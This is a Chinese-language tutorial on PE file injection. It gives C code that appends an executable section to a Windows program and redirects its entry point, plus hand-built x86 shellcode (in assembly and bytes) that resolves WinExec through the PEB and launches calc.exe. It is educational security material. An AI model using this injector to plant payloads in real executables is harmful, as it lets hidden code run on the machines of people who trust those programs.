PE injection
PE 文件注入是軟件安全的基本功,目的是向 PE 文件中注入一段 shellcode。
注入的手段一半有兩種:
- 尋找最大的代碼空白,cave mine,將 shellcode 寫入 cave 中。這種方式比較方便,缺點是只適合較小的 shellcode,windows 上的 shellcode 要比 linux 上的 shellcode 大許多,這種方式的泛用性不高。
- 新增 PE 節,這種方式修改 PE 文件的節頭表和節,可以插入任意大小的 shellcode。
PE 文件注入主要包括兩個方面:
- 編寫 shellcode
- 注入 shellcode
注入 shellcode 相對比較簡單,下面介紹新增 PE 節實現 PE 注入的方法。
x86 PE 文件布局
如果不了解 PE 文件的布局,需要先了解一下 PE 文件相關數據結構和整體布局。
俗話說,一圖勝千言,下面是一張關於 PE 文件結構的圖片,繪制了一個簡易 PE 文件的結構。如果對 PE 文件的結構不了解,建議仔細查看。
上半部分繪制了 PE 文件的結構,下半部分簡述了 PE 文件的加載過程。
了解了基本的 PE 文件布局,下面是一張有關 PE 文件引入表、引出表、資源節和其他節的圖片。
繪制了大部分的 PE 文件結構,如果對於哪一部分不了解,可以查看相關說明。
PE 文件解析
在對 PE 文件進行修改之前,最好對 PE 文件進行解析。關於 PE 文件解析的開源庫有許多,功能也比較豐富,比如基於 c++ 的 libpeconv,基於 python 的 pymem 等等。以學習 PE 文件結構為目的,這里實現了一個最基礎的 PE 解析功能。
PE 結構體定義
首先定義一個 PE 文件結構體
typedef struct _PE_file {
BYTE* innerBuffer;
PIMAGE_DOS_HEADER pimageDOSHeader;
PIMAGE_NT_HEADERS pimageNTHeaders;
PIMAGE_SECTION_HEADER ppimageSectionHeader[MAX_SECTIONS];
DWORD fileSize;
BYTE* ppsection[MAX_SECTIONS];
} PE_file;
PE 文件的解析分為兩個步驟,第一步將 PE 文件原始數據讀入內存中。第二步解析內存中的數據。
自上而下設計 PE 文件解析函數,首先將 PE 文件讀入內存中,隨后解析 DOS Header,NT Headers以及Sections。
void _PEParse(PE_file* ppeFile) {
DBG("parsing DOS Header...\n");
parseDOSHeader(ppeFile);
DBG("parsing NT headers...\n");
parseNTHeaders(ppeFile);
DBG("parsing section headers...\n");
parseSections(ppeFile);
DBG("parsing finished...\n");
}
void PEParse(PE_file *ppeFile, FILE *file) {
readToInnerBuffer(ppeFile, file);
_PEParse(ppeFile);
}
這種設計方式的優點是可以靈活地調用解析 PE 文件的部分結構。
將 PE 讀入內存中
將文件讀入內存的方式有許多。比如利用 MapViewOfFile + memcpy 的方式讀入文件,可以將文件內容映射到對應的進程內存空間中,這種方式對於大文件的讀取十分高效,原理涉及到了 windows 操作系統的相關機制,還不太了解。也可以利用 c 標准中的 fread 函數實現,這種方式的優點是和 linux 平台接口統一。
void readToInnerBuffer(PE_file* ppeFile, FILE* file) {
// save PE to inner buffer
fseek(file, 0, SEEK_END);
long fileSize = ftell(file);
ppeFile->fileSize = fileSize;
ppeFile->innerBuffer = (char*)malloc(fileSize * sizeof(char));
if (ppeFile->innerBuffer == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
fseek(file, 0, SEEK_SET);
fread(ppeFile->innerBuffer, 1, fileSize, file);
fclose(file);
}
這里使用了 malloc 在進程的堆上申請空間,在 libpeconv 中使用 VirtualAlloc 在調用進程中申請虛擬頁空間,微軟文檔為 VirtualAlloc 的描述如下:
Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.
我對於 Windows API 基本上沒有概念,所以使用 malloc 在堆上進行內存分配,分配的空間被 Windows 初始化為 0xcd,這一點與 GCC 是不一樣的,需要注意一下。
解析 Headers 和 Sections
解析 PE Headers 和 Sections 的代碼邏輯非常簡單,將定義的 PE 文件的結構體內部的指針指向 innerBuffer 中對應位置即可。
void parseDOSHeader(PE_file* ppeFile) {
ppeFile->pimageDOSHeader = (PIMAGE_DOS_HEADER)ppeFile->innerBuffer;
if (ppeFile->pimageDOSHeader->e_magic != IMAGE_DOS_SIGNATURE) {
fprintf(stderr, "invalid DOS magic: %x", ppeFile->pimageDOSHeader->e_magic);
exit(EXIT_FAILURE);
}
}
void parseNTHeaders(PE_file* ppeFile) {
ppeFile->pimageNTHeaders = (PIMAGE_NT_HEADERS)((int)ppeFile->innerBuffer + ppeFile->pimageDOSHeader->e_lfanew);
if (ppeFile->pimageNTHeaders->Signature != IMAGE_NT_SIGNATURE) {
fprintf(stderr, "invalid NT headers signature: %x", ppeFile->pimageNTHeaders->Signature);
exit(EXIT_FAILURE);
}
if (ppeFile->pimageNTHeaders->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) {
fprintf(stderr, "invalid Optional headers magic: %x", ppeFile->pimageNTHeaders->OptionalHeader.Magic);
exit(EXIT_FAILURE);
}
}
void parseSections(PE_file* ppeFile) {
size_t sectionNumbers = getSectionNumbers(ppeFile);
void* sectionHeadersBase = (void*)((int)getSectionHeadersOffset(ppeFile) + (int)ppeFile->innerBuffer);
for (size_t i = 0; i < sectionNumbers; i++) {
ppeFile->ppimageSectionHeader[i] = (PIMAGE_SECTION_HEADER)sectionHeadersBase + i;
}
for (size_t i = 0; i < sectionNumbers; i++) {
void* sectionBase = (void*)((int)ppeFile->ppimageSectionHeader[i]->PointerToRawData + (int)ppeFile->innerBuffer);
ppeFile->ppsection[i] = sectionBase;
}
}
至此,PE文件的解析已經完成,以后可以利用 PE 文件結構體中數據結構操縱 PE 文件。為了后續處理方便,比如需要保存 PE 文件,釋放 PE 文件等,所以也編寫了對應的代碼。
void PESave(PE_file* pefile, char* savePath) {
FILE* fp;
fopen_s(&fp, savePath, "wb");
if (fp == NULL) {
perror("fopen_s");
exit(EXIT_FAILURE);
}
fwrite(pefile->innerBuffer, 1, pefile->fileSize, fp);
fclose(fp);
}
void PEFree(PE_file* pefile) {
free(pefile->innerBuffer);
}
向 PE 中插入新節
向 PE 文件中新增節的流程總結:
- 根據當前節表布局,計算新增節的 PointerToRaw
- 復制新節內容到對應地址
- 計算新節的相關參數,添加新節頭
- 修改 FileHeader 中的 NumberOfSections
- 修改 OptionalHeader 中的 SizeOfImage
代碼實現的思路:
設計插入新節的函數
首先大概設計出函數的定義
void insertNewCodeSection(PE_file* ppefile, BYTE* code, DWORD codeSize);
這個函數接受參數為 PE 文件、新增節內容、新增節大小。
根據前面的設計,PE 文件的內容保存在通過 malloc 分配的 innerBuffer 里面,新增節需要修改文件的大小,也就是要修改 innerBuffer 的大小,可以使用 realloc 修改 innerBuffer 的大小。大小修改為多少呢?這個值是 codeSize 使用 FileAlignment 對齊后的大小。
系統在加載 PE 文件前可能會根據 FileAlignment 和所有節的 rawSize 檢查 PE 文件的大小,如果 PE 文件大小小於 PointerToRaw + rawSize,那么這個節在映射到內存時就會出錯,因此不能通過系統檢查。
void insertNewCodeSection(PE_file* ppefile, BYTE* code, DWORD codeSize) {
size_t fileAlignment = ppefile->pimageNTHeaders->OptionalHeader.FileAlignment;
size_t sectionAlignment = ppefile->pimageNTHeaders->OptionalHeader.SectionAlignment;
size_t rawSize = CEIL(codeSize, fileAlignment) * fileAlignment;
size_t codeSizeAligned = CEIL(codeSize, sectionAlignment) * sectionAlignment;
size_t sectionNumbers = getSectionNumbers(ppefile);
計算新節的屬性
下一步需要計算新增節的 VirtualAddress 和 PointerToRaw,VirtualAddress 是節被加載到內存時的 RVA,可以將新增節設計在最后一個節的后面,在這種情況下,新增節的 VirtualAddress 等於最后一個節的 VirtualAddress 加上最后一個節的 VirtualSize(使用 SectionAlignment 對齊)。
PointerToRaw 的計算與 VirtualAddress 類似,新增節的 PointerToRaw 等於最后一個節的 PointerToRaw 加上最后一個節的 rawSize(使用 FileAlignment 對齊)
DWORD destVirtualAddr = ppefile->ppimageSectionHeader[sectionNumbers - 1]->VirtualAddress +
CEIL(ppefile->ppimageSectionHeader[sectionNumbers - 1]->Misc.VirtualSize, sectionAlignment) *
sectionAlignment;
DWORD pointerToRawData = ppefile->ppimageSectionHeader[sectionNumbers - 1]->PointerToRawData +
ppefile->ppimageSectionHeader[sectionNumbers - 1]->SizeOfRawData;
到這里我們已經獲取了新增節的所有屬性,下面定義新增節頭結構體:
IMAGE_SECTION_HEADER hdr = {
.Name = {'.', 'n', 'e', 'w', 0, 0, 0, 0},
.Misc.VirtualSize = rawSize,
.VirtualAddress = destVirtualAddr,
.SizeOfRawData = rawSize,
.PointerToRawData = pointerToRawData,
.PointerToRelocations = 0,
.PointerToLinenumbers = 0,
.NumberOfLinenumbers = 0,
.NumberOfRelocations = 0,
.Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE| IMAGE_SCN_MEM_READ
};
新節的名字為 .new,新節的屬性設置和 code 節相同。
插入新節的節頭
下面將新節頭插入 PE 文件中
void insertNewSectionHeader(PE_file* ppefile, PIMAGE_SECTION_HEADER phdr) {
DWORD destOffset = getSectionHeadersOffset(ppefile)
+ getSectionNumbers(ppefile) * sizeof(IMAGE_SECTION_HEADER);
BYTE* destAddr = ppefile->innerBuffer + destOffset;
if (destOffset + sizeof(IMAGE_SECTION_HEADER) > ppefile->pimageNTHeaders->OptionalHeader.SizeOfHeaders) {
fprintf(stderr, "addr out of limit\n");
exit(EXIT_FAILURE);
}
memcpy(destAddr, phdr, sizeof(IMAGE_SECTION_HEADER));
ppefile->ppimageSectionHeader[getSectionNumbers(ppefile)] = (PIMAGE_SECTION_HEADER)destAddr;
ppefile->pimageNTHeaders->FileHeader.NumberOfSections += 1;
}
接下來剩下將新節內容復制到對應區域,使用 realloc 擴大 innerBuffer
BYTE* oldBuffer = ppefile->innerBuffer;
ppefile->innerBuffer = realloc(ppefile->innerBuffer, ppefile->fileSize + rawSize);
if (ppefile->innerBuffer == NULL) {
perror("realloc");
exit(EXIT_FAILURE);
}
if (ppefile->innerBuffer != oldBuffer) {
DBG("reparsing...\n");
_PEParse(ppefile);
}
memset(ppefile->innerBuffer + ppefile->fileSize, 0, rawSize);
memcpy(ppefile->innerBuffer + ppefile->fileSize, code, codeSize);
保存舊的 innerBuffer 指針,如果 innerBuffer 的值發生改變,說明系統重新分配了空間。那么 PE 結構體中的指針也需要重新解析。
最后修改文件大小和 OptionalHeader 的 SizeOfImage。
ppefile->fileSize += rawSize;
ppefile->pimageNTHeaders->OptionalHeader.SizeOfImage += codeSizeAligned;
DBG("insert finished, reparsing sections...\n");
parseSections(ppefile);
codeSizeAligned 時 code 使用 sectionAlignment 的大小,因為 SizeOfImage 是 PE 文件加載到內存中的大小。
測試新增節的代碼
PE 新增節的代碼到這里就結束了,下面對這段代碼進行測試。
int main(int ac, const char **av) {
if (ac < 2) {
printf("usage: %s [filename]\n", av[0]);
exit(0);
}
FILE* file = fopen(av[1], "rb");
if (file == NULL) {
fprintf(stderr, "%s: No such file or directory\n", av[1]);
exit(EXIT_FAILURE);
}
PE_file pefile;
PEParse(&pefile, file);
printf("MZ signature:\t%x\n", pefile.pimageDOSHeader->e_magic);
printf("ImageBase:\t%08x\n", getImageBase(&pefile));
printf("EntryPoint:\t%08x\n", getEntryPoint(&pefile));
printf("%-8s%-8s\n", "Name", "RVA");
for (size_t i = 0; i < pefile.pimageNTHeaders->FileHeader.NumberOfSections; i++) {
printf("%-8s%08x\n",
pefile.ppimageSectionHeader[i]->Name, pefile.ppimageSectionHeader[i]->VirtualAddress);
}
int index;
DWORD caveSize = findLargestCave(&pefile, &index);
printf("largest cave: %s, cave size: %08x\n", pefile.ppimageSectionHeader[index]->Name, caveSize);
insertNewCodeSection(&pefile, sc, 200);
DWORD newEntryPoint =
pefile.ppimageSectionHeader[pefile.pimageNTHeaders->FileHeader.NumberOfSections - 1]->VirtualAddress;
pefile.pimageNTHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPoint;
printf("change Adress of Entry Point to %x\n", newEntryPoint);
printf("%-8s%-8s\n", "Name", "RVA");
for (size_t i = 0; i < pefile.pimageNTHeaders->FileHeader.NumberOfSections; i++) {
printf("%-8s%08x\n",
pefile.ppimageSectionHeader[i]->Name, pefile.ppimageSectionHeader[i]->VirtualAddress);
}
PESave(&pefile, "./new_pe.exe");
fclose(file);
PEFree(&pefile);
}
測試代碼打印了一部分 PE 文件參數,然后注入了一段 shellcode,並且修改程序入口點為 shellcode。
注入的 shellcode 如下,功能是調出計算器程序。
unsigned char sc[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
選取 PEView.exe 為測試對象,可以看到如下的輸出結果:
parsing DOS Header...
parsing NT headers...
parsing section headers...
parsing finished...
MZ signature: 5a4d
ImageBase: 00400000
EntryPoint: 00001000
Name RVA
code 00001000
data 0000a000
const 0000c000
.rsrc 00010000
.idata 00014000
largest cave: code, cave size: 00000ef0
parsing DOS Header...
parsing NT headers...
parsing section headers...
parsing finished...
reparsing...
parsing DOS Header...
parsing NT headers...
parsing section headers...
parsing finished...
insert finished, reparsing sections...
change Adress of Entry Point to 15000
Name RVA
code 00001000
data 0000a000
const 0000c000
.rsrc 00010000
.idata 00014000
.new 00015000
可以看到新插入的節,名字為 .new,RVA 為 0x00015000。同時,打開 new_pe.exe,就會彈出計算器。
編寫 shellcode
手動編寫 shellcode
在了解如何從 PE 文件自動生成 shellcode 之前,有必要了解一下如何手動編寫 shellcode。
這里只說明如何編寫 x86 32bit shellcode。在 windows 上編寫 shellcode 要比 linux 麻煩許多,下面會看到這一點。首先需要對 Windows 的架構有一個基礎的了解,可以看下面的圖片,分界線上面的都在用戶空間中,下面的都是內核空間中。
Windows 系統架構
圖片鏈接:deeper-into-windows-architecture
Windows 中,進程不能直接訪問系統調用,進程通過調用 WinAPI
,WinAPI
從內部調用 Native API(NtAPI)
,最后訪問系統調用。NtAPI
的文檔沒有被公開,在 ntdll.dll
中實現,在用戶空間抽象層的最底層。
WinAPI
中被公開文檔的函數儲存在 kernel32.dll
, advapi32.dll
, gdi32.dll
等 dll 里面。其中,像文件系統、進程、設備等基礎服務相關函數都在 kernel32.dll
中。
在 Windows 中寫 shellcode,需要利用 WinAPI
或者 NtAPI
。有希望的是,每一個進程都會引入 ntdll.dll
和 kernel32.dll
。
可以使用 SystemInternals Suite
中的 ListDlls
查看 PE 導入的 DLL 文件,查看 explorer.exe
導入的 DLL 文件:
查看 notepad.exe
導入的 DLL 文件
可以編寫一個簡單的程序,只有一個死循環,查看它引入了哪些 DLL 文件。
format PE console
use32
entry start
start:
jmp $
使用 fasm
進行編譯,運行之后使用 ListDLLs
查看
可以發現,最簡單的程序也引入了 Kernel32.dll
和 ntdll.dll
,並且 DLL 文件的地址是相同的。這是因為系統保留了一片內存加載這些 DLL 文件,當進程需要時就用指針或者句柄的方式引用。不同的機器上地址不同,並且隨着每一次開機變化。
下面編寫一個使用 WinExec
函數運行 calc.exe
的 shellcode
,即上面測試過程中用到的 shellcode
。WinExec
有兩個參數,由 kernel32.dll
導出。
查找 DLL 地址
TEB 是 Windows 系統中每一個線程都有的結構,儲存線程的信息,FS
段寄存器存放着 TEB
的地址。
TEB
中有一個成員是指向 PEB 的指針,PEB
中存放着進程相關信息。TEB+0x30
存放指向 PEB
的指針。
PEB+0x0c
存放着指向 PEB_LDR_DATA
的指針,這個結構存放着已經加載的 DLL 的信息。
typedef struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
從結構體的定義可以看到,PEB_LDR_DATA
存放着三個雙向鏈表。
InInitializationOrderModuleList
按照初始化的順序存放DLL
信息。InMemoryOrderModuleList
按照在內存中出現的順序存放DLL
信息。
在 Vista
之前,InInitializationOrderModuleList
前兩個 DLL
分別為 ntdll.dll
和 kernel32.dll
,Vista
之后,第二個 DLL
變為了 kernelbase.dll
。
InMemoryOrderModuleList
中,第二個和第三個 DLL
分別為 ntdll.dll
和 kernel32.dll
,對於目前的 Windows 系統都適用。
InMemoryOrderModuleList
存放在偏移量為 0x14 的位置上,
DLL
地址在 LIST_ENTRY
偏移量為 0x10 的位置上。
因此,查找 kernel32.dll
的地址的步驟總結如下:
- 從
fs:0x30
獲取PEB
的地址 - 獲取
PEB_LDR_DATA
的地址(偏移量 0x0c) - 獲取
InMemoryOrderModuleList
的地址(偏移量 0x14) - 獲取第二個
LIST_ENTRY(ntdll.dll)
的地址(偏移量 0x00) - 獲取第三個
LIST_ENTRY(kernel32.dll)
的地址(偏移量 0x00) - 獲取
kernel32.dll
的地址(偏移量 0x10)
使用匯編編寫代碼如下:
mov ebx, [fs:0x30] ; &PEB
mov ebx, [ebx + 0x0c] ; &PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; &InMemoryModuleList
mov ebx, [ebx] ; InMemoryOrderModuleList->next(ntdll.dll)
mov ebx, [ebx] ; InMemoryOrderModuleList->next->next(kernel32.dll)
mov ebx, [ebx + 0x10] ; InMemoryOrderModuleList->next->next->base
下面的圖可以幫助理解這個過程。
如果要執行 shellcode ,或者單步解釋執行匯編語言,推薦使用 WinREPL。
查找函數地址
現在已經得到了 kernel32.dll
的基址,現在來找 WinExec
函數的地址。如果對於函數的引入引出機制非常了解的話,下面的步驟很快就可以理解。建議首先熟悉以下函數的引入引出機制。
現在,kernel32.dll
被加載入內存中。下面就可以使用 RVA
來查找相關結構。
RVA=0x3c
位置存放PE Signature
的RVA
,值應當是0x5045
。PE Signature
偏移 0x78 字節的位置存放Export Table
的RVA
。Export Table
偏移 0x14 字節的位置存放導出函數的數目。Export Table
偏移 0x1c 的位置存放Address Table
的RVA
,存放導出函數的函數地址。Export Table
偏移 0x20 的位置存放Name Pointer Table
的RVA
,存放導出函數名字字符串的指針。Export Table
偏移 0x24 的位置存放Ordinal Table
的RVA
,存放導出函數的序號。
查找 WinExec
函數地址的過程:
- 查找
PE Signature
的RVA
。(base address + 0x3c) - 查找
PE Signature
的地址。(base address + RVA of PE Signature) - 查找
Export Table
的RVA
。(address of PE Signature + 0x78) - 查找
Export Table
的地址。(base address + RVA of Export Table) - 查找導出函數的數目。(address of Export Table + 0x14)
- 查找
Address Table
的RVA
。(address of Export Table + 0x1c) - 查找
Address Table
的地址。(base address + RVA of Address Table) - 查找
Name Pointer Table
的RVA
。(address of Export Table + 0x20) - 查找
Name Pointer Table
的地址。(base address + RVA of Name Pointer Table) - 查找
Ordinal Table
的RVA
。(address of Export Table + 0x24) - 查找
Ordinal Table
的地址。(base address + RVA of Ordinal Table) - 遍歷
Name Pointer Table
,與WinExec
比較並保存位置。 - 在
Ordinal Table
中查找WinExec
的序號。(address of Ordinal Table + 2 * position),Ordinal Table
每個表項 2 個字節。 - 在
Address Table
中查找WinExec
的地址。(address of Address Table + 4 * ordinal),Address Table
每個表項 4 個字節。 - 查找函數的地址。(base address + function RVA)
如果還是不太理解,可以仔細看一看下面的動圖。
還有在 PEView 中模擬上面的過程的動圖。
理解了整個過程之后,使用匯編代碼實現:
start:
; establish a new stack frame
push ebp
mov ebp, esp
sub esp, 0x18 ; alloc for local variables
xor esi, esi
push esi ; null terminated
push 0x63
push 0x6578
push 0x456e6957
mov [ebp - 4], esp ; var4 = "WinExec\x00"
; find kernel32.dll
mov ebx, [fs:0x30] ; &PEB
mov ebx, [ebx + 0x0c] ; &PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; &InMemoryModuleList
mov ebx, [ebx] ; InMemoryOrderModuleList->next(ntdll.dll)
mov ebx, [ebx] ; InMemoryOrderModuleList->next->next(kernel32.dll)
mov ebx, [ebx + 0x10] ; InMemoryOrderModuleList->next->next->base
mov [ebp - 8], ebx ; var8 = kernel32.dll base address
; find WinExec Address
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; Address of PE signature
mov eax, [eax + 0x78] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 0x24] ; RVA of Ordinal Table
add ecx, ebx ; address of Ordinal Table
mov [ebp - 0x0c], ecx ; var12 = address of Ordinal Table
mov edi, [eax + 0x20] ; RVA of Name Pointer Table
add edi, ebx ; address of Name Pointer Table
mov [ebp - 0x10], edi ; var16 = address of Name Pointer Table
mov edx, [eax + 0x1c] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp - 0x14], edx ; var20 = address of Address Table
mov edx, [eax + 0x14] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp - 0x10] ; edi = var16 = address of Name Pointer Table
mov esi, [ebp - 4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF = 0 process string left to right
mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long
add edi, ebx ; address of string
add cx, 8 ; length to compare
repe cmpsb ; compare first 8 bytes in
; esi and edi. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop
add esp, 0x26
jmp start.end ; not found, jmp to end
.found:
; eax holds the position
mov ecx, [ebp - 0x0c] ; ecx = var12 = address of Ordinal Table
mov edx, [ebp - 0x14] ; edx = var20 = address of Address Table
mov ax, [ecx + eax * 2] ; ax = ordinal number
mov eax, [edx + eax * 4]; eax = RVA of function
add eax, ebx ; eax = address of fuction
add esp, 0x26 ; clear the stack
.end:
pop ebp
ret
調用函數
找到函數地址之后,准備函數參數並調用。匯編代碼:
; call function
xor edx, edx
push edx ; null termination
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\calc.exe"
push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec
調整 shellcode
目前的 shellcode 基本上已經寫完了,整體如下:
format PE console
use32
entry start
start:
; establish a new stack frame
pushad
push ebp
mov ebp, esp
sub esp, 0x18 ; alloc for local variables
xor esi, esi
push esi ; null terminated
push 0x63
pushw 0x6578
push 0x456e6957
mov [ebp - 4], esp ; var4 = "WinExec\x00"
; find kernel32.dll
mov ebx, [fs:0x30]
mov ebx, [ebx + 0x0c] ; &PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; &InMemoryModuleList
mov ebx, [ebx] ; InMemoryOrderModuleList->next(ntdll.dll)
mov ebx, [ebx] ; InMemoryOrderModuleList->next->next(kernel32.dll)
mov ebx, [ebx + 0x10] ; InMemoryOrderModuleList->next->next->base
mov [ebp - 8], ebx ; var8 = kernel32.dll base address
; find WinExec Address
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; Address of PE signature
mov eax, [eax + 0x78] ; RVA of Export Table
add eax, ebx ; Address of Export Table
mov ecx, [eax + 0x24] ; RVA of Ordinal Table
add ecx, ebx ; address of Ordinal Table
mov [ebp - 0x0c], ecx ; var12 = address of Ordinal Table
mov edi, [eax + 0x20] ; RVA of Name Pointer Table
add edi, ebx ; address of Name Pointer Table
mov [ebp - 0x10], edi ; var16 = address of Name Pointer Table
mov edx, [eax + 0x1c] ; RVA of Address Table
add edx, ebx ; Address of Address Table
mov [ebp - 0x14], edx ; var20 = address of Address Table
mov edx, [eax + 0x14] ; Number of exported functions
xor eax, eax ; counter = 0
.loop:
mov edi, [ebp - 0x10] ; edi = var16 = address of Name Pointer Table
mov esi, [ebp - 4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; set DF = 0 process string left to right
mov edi, [edi + eax * 4]; Entry of Name Pointer Table is 4 bytes long
add edi, ebx ; address of string
add cx, 8 ; length to compare
repe cmpsb ; compare first 8 bytes in
; esi and edi. ZF=1 if equal, ZF=0 if not
jz start.found
inc eax ; counter++
cmp eax, edx ; check if last function is reached
jb start.loop
add esp, 0x26
jmp start.end ; not found, jmp to end
.found:
; eax holds the position
mov ecx, [ebp - 0x0c] ; ecx = var12 = address of Ordinal Table
mov edx, [ebp - 0x14] ; edx = var20 = address of Address Table
mov ax, [ecx + eax * 2] ; ax = ordinal number
mov eax, [edx + eax * 4]; eax = RVA of function
add eax, ebx ; eax = address of fuction
; call function
xor edx, edx
push edx ; null termination
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\calc.exe"
push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\calc.exe"
call eax ; WinExec
add esp, 0x46 ; clear the stack
.end:
pop ebp
popad
ret
到這里 shellcode 已經可以編譯運行了,使用 fasm
進行編譯
fasm shellcode.asm shellcode.exe
運行 shellcode,可以看到成功彈出計算器。
如果對於整個過程還有不理解的地方,可以在 x32dbg 中動態調試 shellcode。
問題 1 shellcode 壞字符
使用 objdump 反匯編 shellcode.exe
objdump -d -M intel shellcode.exe
結果:
PS C:\Users\way\source\repos\PEinjection\PEinjection> objdump.exe -d -M intel .\shellcode.exe
.\shellcode.exe: file format pei-i386
Disassembly of section .flat:
00401000 <.flat>:
401000: 60 pusha
401001: 55 push ebp
401002: 89 e5 mov ebp,esp
401004: 83 ec 18 sub esp,0x18
401007: 31 f6 xor esi,esi
401009: 56 push esi
40100a: 6a 63 push 0x63
40100c: 66 68 78 65 pushw 0x6578
401010: 68 57 69 6e 45 push 0x456e6957
401015: 89 65 fc mov DWORD PTR [ebp-0x4],esp
401018: 64 8b 1d 30 00 00 00 mov ebx,DWORD PTR fs:0x30
40101f: 8b 5b 0c mov ebx,DWORD PTR [ebx+0xc]
401022: 8b 5b 14 mov ebx,DWORD PTR [ebx+0x14]
401025: 8b 1b mov ebx,DWORD PTR [ebx]
401027: 8b 1b mov ebx,DWORD PTR [ebx]
401029: 8b 5b 10 mov ebx,DWORD PTR [ebx+0x10]
40102c: 89 5d f8 mov DWORD PTR [ebp-0x8],ebx
40102f: 8b 43 3c mov eax,DWORD PTR [ebx+0x3c]
401032: 01 d8 add eax,ebx
401034: 8b 40 78 mov eax,DWORD PTR [eax+0x78]
401037: 01 d8 add eax,ebx
401039: 8b 48 24 mov ecx,DWORD PTR [eax+0x24]
40103c: 01 d9 add ecx,ebx
40103e: 89 4d f4 mov DWORD PTR [ebp-0xc],ecx
401041: 8b 78 20 mov edi,DWORD PTR [eax+0x20]
401044: 01 df add edi,ebx
401046: 89 7d f0 mov DWORD PTR [ebp-0x10],edi
401049: 8b 50 1c mov edx,DWORD PTR [eax+0x1c]
40104c: 01 da add edx,ebx
40104e: 89 55 ec mov DWORD PTR [ebp-0x14],edx
401051: 8b 50 14 mov edx,DWORD PTR [eax+0x14]
401054: 31 c0 xor eax,eax
401056: 8b 7d f0 mov edi,DWORD PTR [ebp-0x10]
401059: 8b 75 fc mov esi,DWORD PTR [ebp-0x4]
40105c: 31 c9 xor ecx,ecx
40105e: fc cld
40105f: 8b 3c 87 mov edi,DWORD PTR [edi+eax*4]
401062: 01 df add edi,ebx
401064: 66 83 c1 08 add cx,0x8
401068: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
40106a: 74 0a je 0x401076
40106c: 40 inc eax
40106d: 39 d0 cmp eax,edx
40106f: 72 e5 jb 0x401056
401071: 83 c4 26 add esp,0x26
401074: eb 3f jmp 0x4010b5
401076: 8b 4d f4 mov ecx,DWORD PTR [ebp-0xc]
401079: 8b 55 ec mov edx,DWORD PTR [ebp-0x14]
40107c: 66 8b 04 41 mov ax,WORD PTR [ecx+eax*2]
401080: 8b 04 82 mov eax,DWORD PTR [edx+eax*4]
401083: 01 d8 add eax,ebx
401085: 31 d2 xor edx,edx
401087: 52 push edx
401088: 68 2e 65 78 65 push 0x6578652e
40108d: 68 63 61 6c 63 push 0x636c6163
401092: 68 6d 33 32 5c push 0x5c32336d
401097: 68 79 73 74 65 push 0x65747379
40109c: 68 77 73 5c 53 push 0x535c7377
4010a1: 68 69 6e 64 6f push 0x6f646e69
4010a6: 68 43 3a 5c 57 push 0x575c3a43
4010ab: 89 e6 mov esi,esp
4010ad: 6a 0a push 0xa
4010af: 56 push esi
4010b0: ff d0 call eax
4010b2: 83 c4 46 add esp,0x46
4010b5: 5d pop ebp
4010b6: 61 popa
4010b7: c3 ret
可以看到 401018 地址處的指令:
401018: 64 8b 1d 30 00 00 00 mov ebx,DWORD PTR fs:0x30
這條指令包含了 0x00 壞字符。使用 WinREPL 也可以看到對應的機器碼:
